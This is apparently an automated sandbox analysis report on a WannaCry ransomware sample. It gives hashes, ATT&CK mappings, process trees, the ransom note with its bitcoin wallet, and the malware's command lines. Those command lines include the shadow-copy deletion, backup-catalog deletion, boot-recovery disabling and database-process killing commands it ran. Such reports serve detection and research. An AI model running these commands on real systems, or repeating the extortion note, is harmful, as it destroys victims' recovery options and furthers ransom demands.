wannacry | 1d3c2088b2d712f8006279db8acb9a1c6dc3037886a655d37bf75ea5fa6b9518

max time kernel
146s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
13-02-2024 12:11

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General

Target

Malware-database-main/WannaCry.exe
Size

224KB
MD5

5c7fb0927db37372da25f270708103a2
SHA1

120ed9279d85cbfa56e5b7779ffa7162074f7a29
SHA256

be22645c61949ad6a077373a7d6cd85e3fae44315632f161adc4c99d5a8e6844
SHA512

a15f97fad744ccf5f620e5aabb81f48507327b898a9aa4287051464019e0f89224c484e9691812e166471af9beaddcfc3deb2ba878658761f4800663beef7206
SSDEEP

3072:Y059femWRwTs/dbelj0X8/j84pcRXPlU3Upt3or4H84lK8PtpLzLsR/EfcZ:+5RwTs/dSXj84mRXPemxdBlPvLzLeZ

Score

10^/10

wannacry persistence ransomware spyware stealer worm

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!Please Read Me!.txt

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1 Next, please find the decrypt software on your desktop, an executable file named "!WannaDecryptor!.exe". If it does not exsit, download the software from the address below. (You may need to disable your antivirus for a while.) rar password: wcry123 Run and follow the instructions! �

Wallets

15zGqZCTcys6eCjDkE3DypCjXi6QWRV6V1

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Drops startup file 2 IoCs

Processes:

WannaCry.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD271C.tmp	WannaCry.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD263A.tmp	WannaCry.exe

Executes dropped EXE 4 IoCs

Processes:

!WannaDecryptor!.exe!WannaDecryptor!.exe!WannaDecryptor!.exe!WannaDecryptor!.exe

pid process

3008 !WannaDecryptor!.exe
2500 !WannaDecryptor!.exe
1508 !WannaDecryptor!.exe
4968 !WannaDecryptor!.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WannaCry.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft Update Task Scheduler = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Malware-database-main\\WannaCry.exe\" /r"	WannaCry.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

!WannaDecryptor!.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\!WannaCryptor!.bmp"	!WannaDecryptor!.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

1584 taskkill.exe
5060 taskkill.exe
1648 taskkill.exe
4348 taskkill.exe

pid	process
1584	taskkill.exe
5060	taskkill.exe
1648	taskkill.exe
4348	taskkill.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exeWMIC.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4348	taskkill.exe
Token: SeDebugPrivilege	1584	taskkill.exe
Token: SeDebugPrivilege	1648	taskkill.exe
Token: SeDebugPrivilege	5060	taskkill.exe
Token: SeIncreaseQuotaPrivilege	5040	WMIC.exe
Token: SeSecurityPrivilege	5040	WMIC.exe
Token: SeTakeOwnershipPrivilege	5040	WMIC.exe
Token: SeLoadDriverPrivilege	5040	WMIC.exe
Token: SeSystemProfilePrivilege	5040	WMIC.exe
Token: SeSystemtimePrivilege	5040	WMIC.exe
Token: SeProfSingleProcessPrivilege	5040	WMIC.exe
Token: SeIncBasePriorityPrivilege	5040	WMIC.exe
Token: SeCreatePagefilePrivilege	5040	WMIC.exe
Token: SeBackupPrivilege	5040	WMIC.exe
Token: SeRestorePrivilege	5040	WMIC.exe
Token: SeShutdownPrivilege	5040	WMIC.exe
Token: SeDebugPrivilege	5040	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5040	WMIC.exe
Token: SeRemoteShutdownPrivilege	5040	WMIC.exe
Token: SeUndockPrivilege	5040	WMIC.exe
Token: SeManageVolumePrivilege	5040	WMIC.exe
Token: 33	5040	WMIC.exe
Token: 34	5040	WMIC.exe
Token: 35	5040	WMIC.exe
Token: 36	5040	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5040	WMIC.exe
Token: SeSecurityPrivilege	5040	WMIC.exe
Token: SeTakeOwnershipPrivilege	5040	WMIC.exe
Token: SeLoadDriverPrivilege	5040	WMIC.exe
Token: SeSystemProfilePrivilege	5040	WMIC.exe
Token: SeSystemtimePrivilege	5040	WMIC.exe
Token: SeProfSingleProcessPrivilege	5040	WMIC.exe
Token: SeIncBasePriorityPrivilege	5040	WMIC.exe
Token: SeCreatePagefilePrivilege	5040	WMIC.exe
Token: SeBackupPrivilege	5040	WMIC.exe
Token: SeRestorePrivilege	5040	WMIC.exe
Token: SeShutdownPrivilege	5040	WMIC.exe
Token: SeDebugPrivilege	5040	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5040	WMIC.exe
Token: SeRemoteShutdownPrivilege	5040	WMIC.exe
Token: SeUndockPrivilege	5040	WMIC.exe
Token: SeManageVolumePrivilege	5040	WMIC.exe
Token: 33	5040	WMIC.exe
Token: 34	5040	WMIC.exe
Token: 35	5040	WMIC.exe
Token: 36	5040	WMIC.exe
Token: SeBackupPrivilege	3316	vssvc.exe
Token: SeRestorePrivilege	3316	vssvc.exe
Token: SeAuditPrivilege	3316	vssvc.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

!WannaDecryptor!.exe!WannaDecryptor!.exe!WannaDecryptor!.exe!WannaDecryptor!.exe

pid	process
3008	!WannaDecryptor!.exe
3008	!WannaDecryptor!.exe
2500	!WannaDecryptor!.exe
2500	!WannaDecryptor!.exe
1508	!WannaDecryptor!.exe
1508	!WannaDecryptor!.exe
4968	!WannaDecryptor!.exe
4968	!WannaDecryptor!.exe

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

WannaCry.execmd.execmd.exe!WannaDecryptor!.execmd.exe

description	pid	process	target process
PID 4140 wrote to memory of 1228	4140	WannaCry.exe	cmd.exe
PID 4140 wrote to memory of 1228	4140	WannaCry.exe	cmd.exe
PID 4140 wrote to memory of 1228	4140	WannaCry.exe	cmd.exe
PID 1228 wrote to memory of 4316	1228	cmd.exe	cscript.exe
PID 1228 wrote to memory of 4316	1228	cmd.exe	cscript.exe
PID 1228 wrote to memory of 4316	1228	cmd.exe	cscript.exe
PID 4140 wrote to memory of 3008	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 3008	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 3008	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 4348	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 4348	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 4348	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 1648	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 1648	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 1648	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 5060	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 5060	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 5060	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 1584	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 1584	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 1584	4140	WannaCry.exe	taskkill.exe
PID 4140 wrote to memory of 2500	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 2500	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 2500	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 1432	4140	WannaCry.exe	cmd.exe
PID 4140 wrote to memory of 1432	4140	WannaCry.exe	cmd.exe
PID 4140 wrote to memory of 1432	4140	WannaCry.exe	cmd.exe
PID 1432 wrote to memory of 1508	1432	cmd.exe	!WannaDecryptor!.exe
PID 1432 wrote to memory of 1508	1432	cmd.exe	!WannaDecryptor!.exe
PID 1432 wrote to memory of 1508	1432	cmd.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 4968	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 4968	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 4140 wrote to memory of 4968	4140	WannaCry.exe	!WannaDecryptor!.exe
PID 1508 wrote to memory of 2308	1508	!WannaDecryptor!.exe	cmd.exe
PID 1508 wrote to memory of 2308	1508	!WannaDecryptor!.exe	cmd.exe
PID 1508 wrote to memory of 2308	1508	!WannaDecryptor!.exe	cmd.exe
PID 2308 wrote to memory of 5040	2308	cmd.exe	WMIC.exe
PID 2308 wrote to memory of 5040	2308	cmd.exe	WMIC.exe
PID 2308 wrote to memory of 5040	2308	cmd.exe	WMIC.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\WannaCry.exe
"C:\Users\Admin\AppData\Local\Temp\Malware-database-main\WannaCry.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 49681707826330.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:1228

C:\Windows\SysWOW64\cscript.exe
cscript //nologo c.vbs
3⤵
PID:4316

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
!WannaDecryptor!.exe f
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3008

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im MSExchange*
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlwriter.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlserver.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5060

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Microsoft.Exchange.*
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
!WannaDecryptor!.exe c
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2500

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b !WannaDecryptor!.exe v
2⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
!WannaDecryptor!.exe v
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1508

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
4⤵
- Suspicious use of WriteProcessMemory
PID:2308

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe
!WannaDecryptor!.exe
2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:4968

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!Please Read Me!.txt

Filesize
797B

MD5
afa18cf4aa2660392111763fb93a8c3d

SHA1
c219a3654a5f41ce535a09f2a188a464c3f5baf5

SHA256
227082c719fd4394c1f2311a0877d8a302c5b092bcc49f853a5cf3d2945f42b0

SHA512
4161f250d59b7d4d4a6c4f16639d66d21b2a9606de956d22ec00bedb006643fedbbb8e4cde9f6c0c977285918648314883ca91f3442d1125593bf2605f2d5c6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\!WannaDecryptor!.exe.lnk

Filesize
1KB

MD5
e5079fe05b30b4f31f7acd35a0eb4a9c

SHA1
105a4cc05b76d18846ab725ee59139050d63854e

SHA256
549d4a624f974e277c2ae3ed79d9e51c49e21180567e0eb25ff0b6f708e54b68

SHA512
d53e8389d8b35c1b46c51c9bb8ed63af9bcde681d22aaf2ad0dbd4b1157ac83bb36bff7b6a27fa3d8252bdaa8fb4fc40be013171acbd82ba9f906747d987367d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res

Filesize
136B

MD5
e7757a51ecbdb3fc69e512acba22304d

SHA1
7178ac793ba67dfb9a42fcf68136623c49fadcf7

SHA256
a26aa323eb71887703a474dcb6037417ff8390c3d78eb8a72655a32782deebd5

SHA512
5e7f0dee2aeac4756ade78b2d5e43cc3d073ae464eaefa4b83a3f84c923ffb40b84cc473d1cb3c5d351dd411f199cd928442db41a10b492717a627f2fded6efc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res

Filesize
136B

MD5
82392efac3db62a04783343bb53f5091

SHA1
03d048c9f4656f99a7a6905cfcbe302ae34fca45

SHA256
833ed2bc6797072aee95cd9622eb4e23c52adc185f08f34f33bc79af062e6177

SHA512
ac0f516810e4b792a77ba2d36c3387c9879c5750d9a97cc13ae208d02143086b1a5c9eb2a83c39694d1afc2966c11aaf9bad9bd4fec1439eac16376071f583e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res

Filesize
136B

MD5
cb61ffe3fe8e4138c17bddc1241786b9

SHA1
caf3b97b9b8947456cd368e39278f481e7e84185

SHA256
affa68b60ac6fd17ad65e91f722ddb1700a0368e59e3439fbc7b5176b35ab655

SHA512
fb88bf517c078e1dd4fd3c97c6f8837c6ecf6bbc592ae2640431103e9f52a169d1e3b2f7fc8b4a427aa04163c78930ce91f3d0fff7125f9790670d2af590e6cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\00000000.res

Filesize
136B

MD5
f0e373fccab43d46b63f68d91a92999d

SHA1
c2c406d47a4084cc8b2be903f69f844d92356c0b

SHA256
69596a703091fbf280f600ed6b88d777d38ff0f3b7919cf487c4670c2745ff9e

SHA512
25343a7e30e2be53e8e430415d4cbb614a675dfacd16573bb36a58627685c964e9929f71e9def15c233780b70953f92d3df6dd8da7285b713f5fa6638d34c8d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\49681707826330.bat

Filesize
380B

MD5
71e08345a9f96647941595bc404e4304

SHA1
207f50600f9d261ff8fa88ba4f52dd2fc5bc13c5

SHA256
04ec40a225b6140fd35a92b66db0ddbcf96d31c4accf7183295c2321be9dcb16

SHA512
5c4bce405c86f688b2f3e6837dd24fc9db1485325965a17a841c191b25104ee9fdbf08d709b74f1fa9e752ad1374c391f3467dd7e448da38a7f1a27b38bc2e3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\c.vbs

Filesize
263B

MD5
897fe8eafbce679f3f2ecae2f678753a

SHA1
3e0cef18216c559e6bdf9c1c5331d8d5d2e53398

SHA256
04a249282dfa17a672c10ada3dc9a3b71f518b33fdb953ad2f76d88bd60d2c7a

SHA512
979460bf2c9761e6f3d9c7f99efd3eaf60ac81dfdc7d7d8882c5f248afb04d2aa27885b6aad7140dc601c90a375e5e9e31bbd2efa06496541a74bcd75d2d71ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\c.wry

Filesize
628B

MD5
c3d068906b1a53409074c78102ab9367

SHA1
93dae0592940be7ce267924a02aa723c52176f7d

SHA256
1aa5f944dc7434dd53f1fc176eb0faeff2227c282b075a2c6c789fa221ca7882

SHA512
c5fb1bc9d16ef534dec5248a9f4b9d92a589d629364bbdb42d70f627e70b8861ff5b80b8ef269278c2a105543cf7e0920f572a10c0fa95f3807e45549d04b721

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\m.wry

Filesize
42KB

MD5
980b08bac152aff3f9b0136b616affa5

SHA1
2a9c9601ea038f790cc29379c79407356a3d25a3

SHA256
402046ada270528c9ac38bbfa0152836fe30fb8e12192354e53b8397421430d9

SHA512
100cda1f795781042b012498afd783fd6ff03b0068dbd07b2c2e163cd95e6c6e00755ce16b02b017693c9febc149ed02df9df9b607e2b9cca4b07e5bd420f496

Download Submit
C:\Users\Admin\AppData\Local\Temp\Malware-database-main\u.wry

Filesize
236KB

MD5
cf1416074cd7791ab80a18f9e7e219d9

SHA1
276d2ec82c518d887a8a3608e51c56fa28716ded

SHA256
78e3f87f31688355c0f398317b2d87d803bd87ee3656c5a7c80f0561ec8606df

SHA512
0bb0843a90edacaf1407e6a7273a9fbb896701635e4d9467392b7350ad25a1bec0c1ceef36737b4af5e5841936f4891436eded0533aa3d74c9a54efa42f024c5

Download Submit
memory/4140-6-0x0000000010000000-0x0000000010012000-memory.dmp

Filesize
72KB

Download